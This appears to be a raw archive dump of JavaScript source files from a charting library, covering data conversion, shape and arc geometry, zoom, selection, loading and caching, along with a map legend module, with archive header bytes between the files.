        items = [path.pathSegList.getItem(0), path.pathSegList.getItem(1)],
        minX = items[0].x,
        minY = Math.min(items[0].y, items[1].y);
    return { x: minX, y: minY, width: box.width, height: box.height };
};
export var hasValue = function(dict, value) {
    var found = false;
    Object.keys(dict).forEach(function(key) {
        if (dict[key] === value) { found = true; }
    });
    return found;
};
export var isArray = function(o) {
    return Array.isArray(o);
};
export var isDefined = function(v) {
    return typeof v !== 'undefined';
};
export var isEmpty = function(o) {
    return typeof o === 'undefined' || o === null || (isString(o) && o.length === 0) || (typeof o === 'object' && Object.keys(o).length === 0);
};
export var isFunction = function(o) {
    return typeof o === 'function';
};
export var isString = function(o) {
    return typeof o === 'string';
};
export var isUndefined = function(v) {
    return typeof v === 'undefined';
};
export var isValue = function(v) {
    return v || v === 0;
};
export var notEmpty = function(o) {
    return !isEmpty(o);
};
export var sanitise = function(str) {
    return typeof str === 'string' ? str.replace(/</g, '&lt;').replace(/>/g, '&gt;') : str;
};
PKK|�\Ά_##data.convert.jsnu�[���import { ChartInternal } from './core';
import { isValue, isUndefined, isDefined, notEmpty, isArray } from './util';

ChartInternal.prototype.convertUrlToData = function (url, mimeType, headers, keys, done) {
    var $$ = this, type = mimeType ? mimeType : 'csv', f, converter;

    if (type === 'json') {
        f = $$.d3.json;
        converter = $$.convertJsonToData;
    } else if (type === 'tsv') {
        f = $$.d3.tsv;
        converter = $$.convertXsvToData;
    } else {
        f = $$.d3.csv;
        converter = $$.convertXsvToData;
    }

    f(url, headers).then(function (data) {
        done.call($$, converter.call($$, data, keys));
    }).catch(function (error) {
        throw error;
    });
};
ChartInternal.prototype.convertXsvToData = function (xsv) {
    var keys = xsv.columns, rows = xsv;
    if (rows.length === 0) {
        return { keys, rows: [ keys.reduce((row, key) => Object.assign(row, { [key]: null }), {}) ] };
    } else {
        // [].concat() is to convert result into a plain array otherwise
        // test is not happy because rows have properties.
        return { keys, rows: [].concat(xsv) };
    }
};
ChartInternal.prototype.convertJsonToData = function (json, keys) {
    var $$ = this,
        new_rows = [], targetKeys, data;
    if (keys) { // when keys specified, json would be an array that includes objects
        if (keys.x) {
            targetKeys = keys.value.concat(keys.x);
            $$.config.data_x = keys.x;
        } else {
            targetKeys = keys.value;
        }
        new_rows.push(targetKeys);
        json.forEach(function (o) {
            var new_row = [];
            targetKeys.forEach(function (key) {
                // convert undefined to null because undefined data will be removed in convertDataToTargets()
                var v = $$.findValueInJson(o, key);
                if (isUndefined(v)) {
                    v = null;
                }
                new_row.push(v);
            });
            new_rows.push(new_row);
        });
        data = $$.convertRowsToData(new_rows);
    } else {
        Object.keys(json).forEach(function (key) {
            new_rows.push([key].concat(json[key]));
        });
        data = $$.convertColumnsToData(new_rows);
    }
    return data;
};
ChartInternal.prototype.findValueInJson = function (object, path) {
    path = path.replace(/\[(\w+)\]/g, '.$1'); // convert indexes to properties (replace [] with .)
    path = path.replace(/^\./, '');           // strip a leading dot
    var pathArray = path.split('.');
    for (var i = 0; i < pathArray.length; ++i) {
        var k = pathArray[i];
        if (k in object) {
            object = object[k];
        } else {
            return;
        }
    }
    return object;
};

/**
 * Converts the rows to normalized data.
 * @param {any[][]} rows The row data
 * @return {Object}
 */
ChartInternal.prototype.convertRowsToData = (rows) => {
    const newRows = [];
    const keys = rows[0];

    for (let i = 1; i < rows.length; i++) {
        const newRow = {};
        for (let j = 0; j < rows[i].length; j++) {
            if (isUndefined(rows[i][j])) {
                throw new Error("Source data is missing a component at (" + i + "," + j + ")!");
            }
            newRow[keys[j]] = rows[i][j];
        }
        newRows.push(newRow);
    }
    return { keys, rows: newRows };
};

/**
 * Converts the columns to normalized data.
 * @param {any[][]} columns The column data
 * @return {Object}
 */
ChartInternal.prototype.convertColumnsToData = (columns) => {
    const newRows = [];
    const keys = [];

    for (let i = 0; i < columns.length; i++) {
        const key = columns[i][0];
        for (let j = 1; j < columns[i].length; j++) {
            if (isUndefined(newRows[j - 1])) {
                newRows[j - 1] = {};
            }
            if (isUndefined(columns[i][j])) {
                throw new Error("Source data is missing a component at (" + i + "," + j + ")!");
            }
            newRows[j - 1][key] = columns[i][j];
        }
        keys.push(key);
    }

    return { keys, rows: newRows };
};

/**
 * Converts the data format into the target format.
 * @param {!Object} data
 * @param {!Array} data.keys Ordered list of target IDs.
 * @param {!Array} data.rows Rows of data to convert.
 * @param {boolean} appendXs True to append to $$.data.xs, False to replace.
 * @return {!Array}
 */
ChartInternal.prototype.convertDataToTargets = function (data, appendXs) {
    var $$ = this, config = $$.config, targets, ids, xs, keys;

    // handles format where keys are not orderly provided
    if (isArray(data)) {
        keys = Object.keys(data[ 0 ]);
    } else {
        keys = data.keys;
        data = data.rows;
    }

    ids = keys.filter($$.isNotX, $$);
    xs = keys.filter($$.isX, $$);

    // save x for update data by load when custom x and c3.x API
    ids.forEach(function (id) {
        var xKey = $$.getXKey(id);

        if ($$.isCustomX() || $$.isTimeSeries()) {
            // if included in input data
            if (xs.indexOf(xKey) >= 0) {
                $$.data.xs[id] = (appendXs && $$.data.xs[id] ? $$.data.xs[id] : []).concat(
                    data.map(function (d) { return d[xKey]; })
                        .filter(isValue)
                        .map(function (rawX, i) { return $$.generateTargetX(rawX, id, i); })
                );
            }
            // if not included in input data, find from preloaded data of other id's x
            else if (config.data_x) {
                $$.data.xs[id] = $$.getOtherTargetXs();
            }
            // if not included in input data, find from preloaded data
            else if (notEmpty(config.data_xs)) {
                $$.data.xs[id] = $$.getXValuesOfXKey(xKey, $$.data.targets);
            }
            // MEMO: if no x included, use same x of current will be used
        } else {
            $$.data.xs[id] = data.map(function (d, i) { return i; });
        }
    });


    // check x is defined
    ids.forEach(function (id) {
        if (!$$.data.xs[id]) {
            throw new Error('x is not defined for id = "' + id + '".');
        }
    });

    // convert to target
    targets = ids.map(function (id, index) {
        var convertedId = config.data_idConverter(id);
        return {
            id: convertedId,
            id_org: id,
            values: data.map(function (d, i) {
                var xKey = $$.getXKey(id), rawX = d[xKey],
                    value = d[id] !== null && !isNaN(d[id]) ? +d[id] : null, x;
                // use x as categories if custom x and categorized
                if ($$.isCustomX() && $$.isCategorized() && !isUndefined(rawX)) {
                    if (index === 0 && i === 0) {
                        config.axis_x_categories = [];
                    }
                    x = config.axis_x_categories.indexOf(rawX);
                    if (x === -1) {
                        x = config.axis_x_categories.length;
                        config.axis_x_categories.push(rawX);
                    }
                } else {
                    x  = $$.generateTargetX(rawX, id, i);
                }
                // mark as x = undefined if value is undefined and filter to remove after mapped
                if (isUndefined(d[id]) || $$.data.xs[id].length <= i) {
                    x = undefined;
                }
                return {x: x, value: value, id: convertedId};
            }).filter(function (v) { return isDefined(v.x); })
        };
    });

    // finish targets
    targets.forEach(function (t) {
        var i;
        // sort values by its x
        if (config.data_xSort) {
            t.values = t.values.sort(function (v1, v2) {
                var x1 = v1.x || v1.x === 0 ? v1.x : Infinity,
                    x2 = v2.x || v2.x === 0 ? v2.x : Infinity;
                return x1 - x2;
            });
        }
        // indexing each value
        i = 0;
        t.values.forEach(function (v) {
            v.index = i++;
        });
        // this needs to be sorted because its index and value.index is identical
        $$.data.xs[t.id].sort(function (v1, v2) {
            return v1 - v2;
        });
    });

    // cache information about values
    $$.hasNegativeValue = $$.hasNegativeValueInTargets(targets);
    $$.hasPositiveValue = $$.hasPositiveValueInTargets(targets);

    // set target types
    if (config.data_type) {
        $$.setTargetType($$.mapToIds(targets).filter(function (id) { return ! (id in config.data_types); }), config.data_type);
    }

    // cache as original id keyed
    targets.forEach(function (d) {
        $$.addCache(d.id_org, d);
    });

    return targets;
};
PKK|�\��m=>>api.group.jsnu�[���import { Chart } from './core';
import { isUndefined } from './util';

Chart.prototype.groups = function (groups) {
    var $$ = this.internal, config = $$.config;
    if (isUndefined(groups)) { return config.data_groups; }
    config.data_groups = groups;
    $$.redraw();
    return config.data_groups;
};
PKK|�\�k��shape.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';
import { isUndefined } from './util';

ChartInternal.prototype.getShapeIndices = function (typeFilter) {
    var $$ = this, config = $$.config,
        indices = {}, i = 0, j, k;
    $$.filterTargetsToShow($$.data.targets.filter(typeFilter, $$)).forEach(function (d) {
        for (j = 0; j < config.data_groups.length; j++) {
            if (config.data_groups[j].indexOf(d.id) < 0) { continue; }
            for (k = 0; k < config.data_groups[j].length; k++) {
                if (config.data_groups[j][k] in indices) {
                    indices[d.id] = indices[config.data_groups[j][k]];
                    break;
                }
            }
        }
        if (isUndefined(indices[d.id])) { indices[d.id] = i++; }
    });
    indices.__max__ = i - 1;
    return indices;
};
ChartInternal.prototype.getShapeX = function (offset, targetsNum, indices, isSub) {
    var $$ = this, scale = isSub ? $$.subX : $$.x;
    return function (d) {
        var index = d.id in indices ? indices[d.id] : 0;
        return d.x || d.x === 0 ? scale(d.x) - offset * (targetsNum / 2 - index) : 0;
    };
};
ChartInternal.prototype.getShapeY = function (isSub) {
    var $$ = this;
    return function (d) {
        var scale = isSub ? $$.getSubYScale(d.id) : $$.getYScale(d.id);
        return scale(d.value);
    };
};
ChartInternal.prototype.getShapeOffset = function (typeFilter, indices, isSub) {
    var $$ = this,
        targets = $$.orderTargets($$.filterTargetsToShow($$.data.targets.filter(typeFilter, $$))),
        targetIds = targets.map(function (t) { return t.id; });
    return function (d, i) {
        var scale = isSub ? $$.getSubYScale(d.id) : $$.getYScale(d.id),
            y0 = scale(0), offset = y0;
        targets.forEach(function (t) {
            var values = $$.isStepType(d) ? $$.convertValuesToStep(t.values) : t.values;
            if (t.id === d.id || indices[t.id] !== indices[d.id]) { return; }
            if (targetIds.indexOf(t.id) < targetIds.indexOf(d.id)) {
                // check if the x values line up
                if (typeof values[i] === 'undefined' || +values[i].x !== +d.x) {  // "+" for timeseries
                    // if not, try to find the value that does line up
                    i = -1;
                    values.forEach(function (v, j) {
                        if (v.x === d.x) {
                            i = j;
                        }
                    });
                }
                if (i in values && values[i].value * d.value >= 0) {
                    offset += scale(values[i].value) - y0;
                }
            }
        });
        return offset;
    };
};
ChartInternal.prototype.isWithinShape = function (that, d) {
    var $$ = this,
        shape = $$.d3.select(that), isWithin;
    if (!$$.isTargetToShow(d.id)) {
        isWithin = false;
    }
    else if (that.nodeName === 'circle') {
        isWithin = $$.isStepType(d) ? $$.isWithinStep(that, $$.getYScale(d.id)(d.value)) : $$.isWithinCircle(that, $$.pointSelectR(d) * 1.5);
    }
    else if (that.nodeName === 'path') {
        isWithin = shape.classed(CLASS.bar) ? $$.isWithinBar($$.d3.mouse(that), that) : true;
    }
    return isWithin;
};


ChartInternal.prototype.getInterpolate = function (d) {
    var $$ = this, d3 = $$.d3,
        types = {
            'linear': d3.curveLinear,
            'linear-closed': d3.curveLinearClosed,
            'basis': d3.curveBasis,
            'basis-open': d3.curveBasisOpen,
            'basis-closed': d3.curveBasisClosed,
            'bundle': d3.curveBundle,
            'cardinal': d3.curveCardinal,
            'cardinal-open': d3.curveCardinalOpen,
            'cardinal-closed': d3.curveCardinalClosed,
            'monotone': d3.curveMonotoneX,
            'step': d3.curveStep,
            'step-before': d3.curveStepBefore,
            'step-after': d3.curveStepAfter
        },
        type;

    if ($$.isSplineType(d)) {
        type = types[$$.config.spline_interpolation_type] || types.cardinal;
    }
    else if ($$.isStepType(d)) {
        type = types[$$.config.line_step_type];
    }
    else {
        type = types.linear;
    }
    return type;
};
PKK|�\�6 ��api.zoom.jsnu�[���import { Chart } from './core';
import { isDefined } from './util';

Chart.prototype.zoom = function (domain) {
    var $$ = this.internal;
    if (domain) {
        if ($$.isTimeSeries()) {
            domain = domain.map(function (x) { return $$.parseDate(x); });
        }
        if ($$.config.subchart_show) {
            $$.brush.selectionAsValue(domain, true);
        }
        else {
            $$.updateXDomain(null, true, false, false, domain);
            $$.redraw({withY: $$.config.zoom_rescale, withSubchart: false});
        }
        $$.config.zoom_onzoom.call(this, $$.x.orgDomain());
        return domain;
    } else {
        return $$.x.domain();
    }
};
Chart.prototype.zoom.enable = function (enabled) {
    var $$ = this.internal;
    $$.config.zoom_enabled = enabled;
    $$.updateAndRedraw();
};
Chart.prototype.unzoom = function () {
    var $$ = this.internal;
    if ($$.config.subchart_show) {
        $$.brush.clear();
    }
    else {
        $$.updateXDomain(null, true, false, false, $$.subX.domain());
        $$.redraw({withY: $$.config.zoom_rescale, withSubchart: false});
    }
};

Chart.prototype.zoom.max = function (max) {
    var $$ = this.internal, config = $$.config, d3 = $$.d3;
    if (max === 0 || max) {
        config.zoom_x_max = d3.max([$$.orgXDomain[1], max]);
    }
    else {
        return config.zoom_x_max;
    }
};

Chart.prototype.zoom.min = function (min) {
    var $$ = this.internal, config = $$.config, d3 = $$.d3;
    if (min === 0 || min) {
        config.zoom_x_min = d3.min([$$.orgXDomain[0], min]);
    }
    else {
        return config.zoom_x_min;
    }
};

Chart.prototype.zoom.range = function (range) {
    if (arguments.length) {
        if (isDefined(range.max)) { this.domain.max(range.max); }
        if (isDefined(range.min)) { this.domain.min(range.min); }
    } else {
        return {
            max: this.domain.max(),
            min: this.domain.min()
        };
    }
};
PKK|�\��api.x.jsnu�[���import { Chart } from './core';

Chart.prototype.x = function (x) {
    var $$ = this.internal;
    if (arguments.length) {
        $$.updateTargetX($$.data.targets, x);
        $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true});
    }
    return $$.data.xs;
};
Chart.prototype.xs = function (xs) {
    var $$ = this.internal;
    if (arguments.length) {
        $$.updateTargetXs($$.data.targets, xs);
        $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true});
    }
    return $$.data.xs;
};
PKK|�\��FFcache.jsnu�[���import { ChartInternal } from './core';

ChartInternal.prototype.hasCaches = function (ids) {
    for (var i = 0; i < ids.length; i++) {
        if (! (ids[i] in this.cache)) { return false; }
    }
    return true;
};
ChartInternal.prototype.addCache = function (id, target) {
    this.cache[id] = this.cloneTarget(target);
};
ChartInternal.prototype.getCaches = function (ids) {
    var targets = [], i;
    for (i = 0; i < ids.length; i++) {
        if (ids[i] in this.cache) { targets.push(this.cloneTarget(this.cache[ids[i]])); }
    }
    return targets;
};
PKK|�\�|mUUua.jsnu�[���import { ChartInternal } from './core';

ChartInternal.prototype.isSafari = function () {
    var ua = window.navigator.userAgent;
    return ua.indexOf('Safari') >= 0 && ua.indexOf('Chrome') < 0;
};
ChartInternal.prototype.isChrome = function () {
    var ua = window.navigator.userAgent;
    return ua.indexOf('Chrome') >= 0;
};
PKK|�\6�FT�
�
api.selection.jsnu�[���import CLASS from './class';
import { Chart } from './core';
import { isDefined } from './util';

Chart.prototype.selected = function (targetId) {
    var $$ = this.internal, d3 = $$.d3;
    return d3.merge(
        $$.main.selectAll('.' + CLASS.shapes + $$.getTargetSelectorSuffix(targetId)).selectAll('.' + CLASS.shape)
            .filter(function () { return d3.select(this).classed(CLASS.SELECTED); })
            .map(function (d) { return d.map(function (d) { var data = d.__data__; return data.data ? data.data : data; }); })
    );
};
Chart.prototype.select = function (ids, indices, resetOther) {
    var $$ = this.internal, d3 = $$.d3, config = $$.config;
    if (! config.data_selection_enabled) { return; }
    $$.main.selectAll('.' + CLASS.shapes).selectAll('.' + CLASS.shape).each(function (d, i) {
        var shape = d3.select(this), id = d.data ? d.data.id : d.id,
            toggle = $$.getToggle(this, d).bind($$),
            isTargetId = config.data_selection_grouped || !ids || ids.indexOf(id) >= 0,
            isTargetIndex = !indices || indices.indexOf(i) >= 0,
            isSelected = shape.classed(CLASS.SELECTED);
        // line/area selection not supported yet
        if (shape.classed(CLASS.line) || shape.classed(CLASS.area)) {
            return;
        }
        if (isTargetId && isTargetIndex) {
            if (config.data_selection_isselectable(d) && !isSelected) {
                toggle(true, shape.classed(CLASS.SELECTED, true), d, i);
            }
        } else if (isDefined(resetOther) && resetOther) {
            if (isSelected) {
                toggle(false, shape.classed(CLASS.SELECTED, false), d, i);
            }
        }
    });
};
Chart.prototype.unselect = function (ids, indices) {
    var $$ = this.internal, d3 = $$.d3, config = $$.config;
    if (! config.data_selection_enabled) { return; }
    $$.main.selectAll('.' + CLASS.shapes).selectAll('.' + CLASS.shape).each(function (d, i) {
        var shape = d3.select(this), id = d.data ? d.data.id : d.id,
            toggle = $$.getToggle(this, d).bind($$),
            isTargetId = config.data_selection_grouped || !ids || ids.indexOf(id) >= 0,
            isTargetIndex = !indices || indices.indexOf(i) >= 0,
            isSelected = shape.classed(CLASS.SELECTED);
        // line/area selection not supported yet
        if (shape.classed(CLASS.line) || shape.classed(CLASS.area)) {
            return;
        }
        if (isTargetId && isTargetIndex) {
            if (config.data_selection_isselectable(d)) {
                if (isSelected) {
                    toggle(false, shape.classed(CLASS.SELECTED, false), d, i);
                }
            }
        }
    });
};
PKK|�\eDi>>api.data.jsnu�[���import { Chart } from './core';

Chart.prototype.data = function (targetIds) {
    var targets = this.internal.data.targets;
    return typeof targetIds === 'undefined' ? targets : targets.filter(function (t) {
        return [].concat(targetIds).indexOf(t.id) >= 0;
    });
};
Chart.prototype.data.shown = function (targetIds) {
    return this.internal.filterTargetsToShow(this.data(targetIds));
};
Chart.prototype.data.values = function (targetId) {
    var targets, values = null;
    if (targetId) {
        targets = this.data(targetId);
        values = targets[0] ? targets[0].values.map(function (d) { return d.value; }) : null;
    }
    return values;
};
Chart.prototype.data.names = function (names) {
    this.internal.clearLegendItemTextBoxCache();
    return this.internal.updateDataAttributes('names', names);
};
Chart.prototype.data.colors = function (colors) {
    return this.internal.updateDataAttributes('colors', colors);
};
Chart.prototype.data.axes = function (axes) {
    return this.internal.updateDataAttributes('axes', axes);
};
PKK|�\��>���api.transform.jsnu�[���import { Chart, ChartInternal } from './core';

Chart.prototype.transform = function (type, targetIds) {
    var $$ = this.internal,
        options = ['pie', 'donut'].indexOf(type) >= 0 ? {withTransform: true} : null;
    $$.transformTo(targetIds, type, options);
};

ChartInternal.prototype.transformTo = function (targetIds, type, optionsForRedraw) {
    var $$ = this,
        withTransitionForAxis = !$$.hasArcType(),
        options = optionsForRedraw || {withTransitionForAxis: withTransitionForAxis};
    options.withTransitionForTransform = false;
    $$.transiting = false;
    $$.setTargetType(targetIds, type);
    $$.updateTargets($$.data.targets); // this is needed when transforming to arc
    $$.updateAndRedraw(options);
};
PKK|�\rw���
�
	legend.jsnu�[���/**
 * Represents map legend.
 * @constructor
 * @param {Object} params Configuration parameters.
 * @param {String} params.cssClass Additional CSS class to apply to legend element.
 * @param {Boolean} params.vertical If <code>true</code> legend will be rendered as vertical.
 * @param {String} params.title Legend title.
 * @param {Function} params.labelRender Method to convert series values to legend labels.
 */
jvm.Legend = function(params) {
  this.params = params || {};
  this.map = this.params.map;
  this.series = this.params.series;
  this.body = jvm.$('<div/>');
  this.body.addClass('jvectormap-legend');
  if (this.params.cssClass) {
    this.body.addClass(this.params.cssClass);
  }

  if (params.vertical) {
    this.map.legendCntVertical.append( this.body );
  } else {
    this.map.legendCntHorizontal.append( this.body );
  }

  this.render();
}

jvm.Legend.prototype.render = function(){
  var ticks = this.series.scale.getTicks(),
      i,
      inner = jvm.$('<div/>').addClass('jvectormap-legend-inner'),
      tick,
      sample,
      label;

  this.body.html('');
  if (this.params.title) {
    this.body.append(
      jvm.$('<div/>').addClass('jvectormap-legend-title').html(this.params.title)
    );
  }
  this.body.append(inner);

  for (i = 0; i < ticks.length; i++) {
    tick = jvm.$('<div/>').addClass('jvectormap-legend-tick');
    sample = jvm.$('<div/>').addClass('jvectormap-legend-tick-sample');

    switch (this.series.params.attribute) {
      case 'fill':
        if (jvm.isImageUrl(ticks[i].value)) {
          sample.css('background', 'url('+ticks[i].value+')');
        } else {
          sample.css('background', ticks[i].value);
        }
        break;
      case 'stroke':
        sample.css('background', ticks[i].value);
        break;
      case 'image':
        sample.css('background', 'url('+ticks[i].value+') no-repeat center center');
        break;
      case 'r':
        jvm.$('<div/>').css({
          'border-radius': ticks[i].value,
          border: this.map.params.markerStyle.initial['stroke-width']+'px '+
                  this.map.params.markerStyle.initial['stroke']+' solid',
          width: ticks[i].value * 2 + 'px',
          height: ticks[i].value * 2 + 'px',
          background: this.map.params.markerStyle.initial['fill']
        }).appendTo(sample);
        break;
    }
    tick.append( sample );
    label = ticks[i].label;
    if (this.params.labelRender) {
      label = this.params.labelRender(label);
    }
    tick.append( jvm.$('<div>'+label+' </div>').addClass('jvectormap-legend-tick-text') );
    inner.append(tick);
  }
  inner.append( jvm.$('<div/>').css('clear', 'both') );
}PKK|�\&�k8api.load.jsnu�[���import { Chart } from './core';

Chart.prototype.load = function (args) {
    var $$ = this.internal, config = $$.config;
    // update xs if specified
    if (args.xs) {
        $$.addXs(args.xs);
    }
    // update names if exists
    if ('names' in args) {
        Chart.prototype.data.names.bind(this)(args.names);
    }
    // update classes if exists
    if ('classes' in args) {
        Object.keys(args.classes).forEach(function (id) {
            config.data_classes[id] = args.classes[id];
        });
    }
    // update categories if exists
    if ('categories' in args && $$.isCategorized()) {
        config.axis_x_categories = args.categories;
    }
    // update axes if exists
    if ('axes' in args) {
        Object.keys(args.axes).forEach(function (id) {
            config.data_axes[id] = args.axes[id];
        });
    }
    // update colors if exists
    if ('colors' in args) {
        Object.keys(args.colors).forEach(function (id) {
            config.data_colors[id] = args.colors[id];
        });
    }
    // use cache if exists
    if ('cacheIds' in args && $$.hasCaches(args.cacheIds)) {
        $$.load($$.getCaches(args.cacheIds), args.done);
        return;
    }
    // unload if needed
    if ('unload' in args) {
        // TODO: do not unload if target will load (included in url/rows/columns)
        $$.unload($$.mapToTargetIds((typeof args.unload === 'boolean' && args.unload) ? null : args.unload), function () {
            $$.loadFromArgs(args);
        });
    } else {
        $$.loadFromArgs(args);
    }
};

Chart.prototype.unload = function (args) {
    var $$ = this.internal;
    args = args || {};
    if (args instanceof Array) {
        args = {ids: args};
    } else if (typeof args === 'string') {
        args = {ids: [args]};
    }
    $$.unload($$.mapToTargetIds(args.ids), function () {
        $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true, withLegend: true});
        if (args.done) { args.done(); }
    });
};
PKK|�\/�}h�V�Varc.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';
import { isFunction } from './util';

ChartInternal.prototype.initPie = function () {
    var $$ = this, d3 = $$.d3;
    $$.pie = d3.pie().value(function (d) {
        return d.values.reduce(function (a, b) { return a + b.value; }, 0);
    });

    let orderFct = $$.getOrderFunction();

    // we need to reverse the returned order if asc or desc to have the slice in expected order.
    if (orderFct && ($$.isOrderAsc() || $$.isOrderDesc())) {
        let defaultSort = orderFct;
        orderFct = (t1, t2) => defaultSort(t1, t2) * -1;
    }

    $$.pie.sort(orderFct || null);
};

ChartInternal.prototype.updateRadius = function () {
    var $$ = this, config = $$.config,
        w = config.gauge_width || config.donut_width,
        gaugeArcWidth = $$.filterTargetsToShow($$.data.targets).length * $$.config.gauge_arcs_minWidth;
    $$.radiusExpanded = Math.min($$.arcWidth, $$.arcHeight) / 2 * ($$.hasType('gauge') ? 0.85 : 1);
    $$.radius = $$.radiusExpanded * 0.95;
    $$.innerRadiusRatio = w ? ($$.radius - w) / $$.radius : 0.6;
    $$.innerRadius = $$.hasType('donut') || $$.hasType('gauge') ? $$.radius * $$.innerRadiusRatio : 0;
    $$.gaugeArcWidth = w ? w : (gaugeArcWidth <= $$.radius - $$.innerRadius ? $$.radius - $$.innerRadius : (gaugeArcWidth <= $$.radius ? gaugeArcWidth : $$.radius));
};

ChartInternal.prototype.updateArc = function () {
    var $$ = this;
    $$.svgArc = $$.getSvgArc();
    $$.svgArcExpanded = $$.getSvgArcExpanded();
    $$.svgArcExpandedSub = $$.getSvgArcExpanded(0.98);
};

ChartInternal.prototype.updateAngle = function (d) {
    var $$ = this, config = $$.config,
        found = false, index = 0,
        gMin, gMax, gTic, gValue;

    if (!config) {
        return null;
    }

    $$.pie($$.filterTargetsToShow($$.data.targets)).forEach(function (t) {
        if (! found && t.data.id === d.data.id) {
            found = true;
            d = t;
            d.index = index;
        }
        index++;
    });
    if (isNaN(d.startAngle)) {
        d.startAngle = 0;
    }
    if (isNaN(d.endAngle)) {
        d.endAngle = d.startAngle;
    }
    if ($$.isGaugeType(d.data)) {
        gMin = config.gauge_min;
        gMax = config.gauge_max;
        gTic = (Math.PI * (config.gauge_fullCircle ? 2 : 1)) / (gMax - gMin);
        gValue = d.value < gMin ? 0 : d.value < gMax ? d.value - gMin : (gMax - gMin);
        d.startAngle = config.gauge_startingAngle;
        d.endAngle = d.startAngle + gTic * gValue;
    }
    return found ? d : null;
};

ChartInternal.prototype.getSvgArc = function () {
    var $$ = this, hasGaugeType = $$.hasType('gauge'),
        singleArcWidth = $$.gaugeArcWidth / $$.filterTargetsToShow($$.data.targets).length,
        arc = $$.d3.arc().outerRadius(function(d) {
            return hasGaugeType ? $$.radius - singleArcWidth * d.index : $$.radius;
        }).innerRadius(function(d) {
            return hasGaugeType ? $$.radius - singleArcWidth * (d.index + 1) : $$.innerRadius;
        }),
        newArc = function (d, withoutUpdate) {
            var updated;
            if (withoutUpdate) { return arc(d); } // for interpolate
            updated = $$.updateAngle(d);
            return updated ? arc(updated) : "M 0 0";
        };
    // TODO: extends all function
    newArc.centroid = arc.centroid;
    return newArc;
};

ChartInternal.prototype.getSvgArcExpanded = function (rate) {
    rate = rate || 1;
    var $$ = this, hasGaugeType = $$.hasType('gauge'),
        singleArcWidth = $$.gaugeArcWidth / $$.filterTargetsToShow($$.data.targets).length,
        expandWidth = Math.min($$.radiusExpanded * rate - $$.radius, singleArcWidth * 0.8 - (1 - rate) * 100),
        arc = $$.d3.arc().outerRadius(function(d){
            return hasGaugeType ? $$.radius - singleArcWidth * d.index + expandWidth : $$.radiusExpanded * rate;
        }).innerRadius(function(d){
            return hasGaugeType ? $$.radius - singleArcWidth * (d.index + 1) : $$.innerRadius;
        });
    return function (d) {
        var updated = $$.updateAngle(d);
        return updated ? arc(updated) : "M 0 0";
    };
};

ChartInternal.prototype.getArc = function (d, withoutUpdate, force) {
    return force || this.isArcType(d.data) ? this.svgArc(d, withoutUpdate) : "M 0 0";
};


ChartInternal.prototype.transformForArcLabel = function (d) {
    var $$ = this, config = $$.config,
        updated = $$.updateAngle(d), c, x, y, h, ratio, translate = "", hasGauge = $$.hasType('gauge');
    if (updated && !hasGauge) {
        c = this.svgArc.centroid(updated);
        x = isNaN(c[0]) ? 0 : c[0];
        y = isNaN(c[1]) ? 0 : c[1];
        h = Math.sqrt(x * x + y * y);
        if ($$.hasType('donut') && config.donut_label_ratio) {
            ratio = isFunction(config.donut_label_ratio) ? config.donut_label_ratio(d, $$.radius, h) : config.donut_label_ratio;
        } else if ($$.hasType('pie') && config.pie_label_ratio) {
            ratio = isFunction(config.pie_label_ratio) ? config.pie_label_ratio(d, $$.radius, h) : config.pie_label_ratio;
        } else {
            ratio = $$.radius && h ? (36 / $$.radius > 0.375 ? 1.175 - 36 / $$.radius : 0.8) * $$.radius / h : 0;
        }
        translate = "translate(" + (x * ratio) +  ',' + (y * ratio) +  ")";
    }
    else if (updated && hasGauge && $$.filterTargetsToShow($$.data.targets).length > 1) {
        var y1 = Math.sin(updated.endAngle - Math.PI / 2);
        x = Math.cos(updated.endAngle - Math.PI / 2) * ($$.radiusExpanded + 25);
        y = y1 * ($$.radiusExpanded + 15 - Math.abs(y1 * 10)) + 3;
        translate = "translate(" + x +  ',' + y +  ")";
    }
    return translate;
};

ChartInternal.prototype.getArcRatio = function (d) {
    var $$ = this,
        config = $$.config,
        whole = Math.PI * ($$.hasType('gauge') && !config.gauge_fullCircle ? 1 : 2);
    return d ? (d.endAngle - d.startAngle) / whole : null;
};

ChartInternal.prototype.convertToArcData = function (d) {
    return this.addName({
        id: d.data.id,
        value: d.value,
        ratio: this.getArcRatio(d),
        index: d.index
    });
};

ChartInternal.prototype.textForArcLabel = function (d) {
    var $$ = this,
        updated, value, ratio, id, format;
    if (! $$.shouldShowArcLabel()) { return ""; }
    updated = $$.updateAngle(d);
    value = updated ? updated.value : null;
    ratio = $$.getArcRatio(updated);
    id = d.data.id;
    if (! $$.hasType('gauge') && ! $$.meetsArcLabelThreshold(ratio)) { return ""; }
    format = $$.getArcLabelFormat();
    return format ? format(value, ratio, id) : $$.defaultArcValueFormat(value, ratio);
};

ChartInternal.prototype.textForGaugeMinMax = function (value, isMax) {
    var $$ = this,
        format = $$.getGaugeLabelExtents();

    return format ? format(value, isMax) : value;
};

ChartInternal.prototype.expandArc = function (targetIds) {
    var $$ = this, interval;

    // MEMO: avoid to cancel transition
    if ($$.transiting) {
        interval = window.setInterval(function () {
            if (!$$.transiting) {
                window.clearInterval(interval);
                if ($$.legend.selectAll('.c3-legend-item-focused').size() > 0) {
                    $$.expandArc(targetIds);
                }
            }
        }, 10);
        return;
    }

    targetIds = $$.mapToTargetIds(targetIds);

    $$.svg.selectAll($$.selectorTargets(targetIds, '.' + CLASS.chartArc)).each(function (d) {
        if (! $$.shouldExpand(d.data.id)) { return; }
        $$.d3.select(this).selectAll('path')
            .transition().duration($$.expandDuration(d.data.id))
            .attr("d", $$.svgArcExpanded)
            .transition().duration($$.expandDuration(d.data.id) * 2)
            .attr("d", $$.svgArcExpandedSub)
            .each(function (d) {
                if ($$.isDonutType(d.data)) {
                    // callback here
                }
            });
    });
};

ChartInternal.prototype.unexpandArc = function (targetIds) {
    var $$ = this;

    if ($$.transiting) { return; }

    targetIds = $$.mapToTargetIds(targetIds);

    $$.svg.selectAll($$.selectorTargets(targetIds, '.' + CLASS.chartArc)).selectAll('path')
        .transition().duration(function(d) {
            return $$.expandDuration(d.data.id);
        })
        .attr("d", $$.svgArc);
    $$.svg.selectAll('.' + CLASS.arc);
};

ChartInternal.prototype.expandDuration = function (id) {
    var $$ = this, config = $$.config;

    if ($$.isDonutType(id)) {
        return config.donut_expand_duration;
    } else if ($$.isGaugeType(id)) {
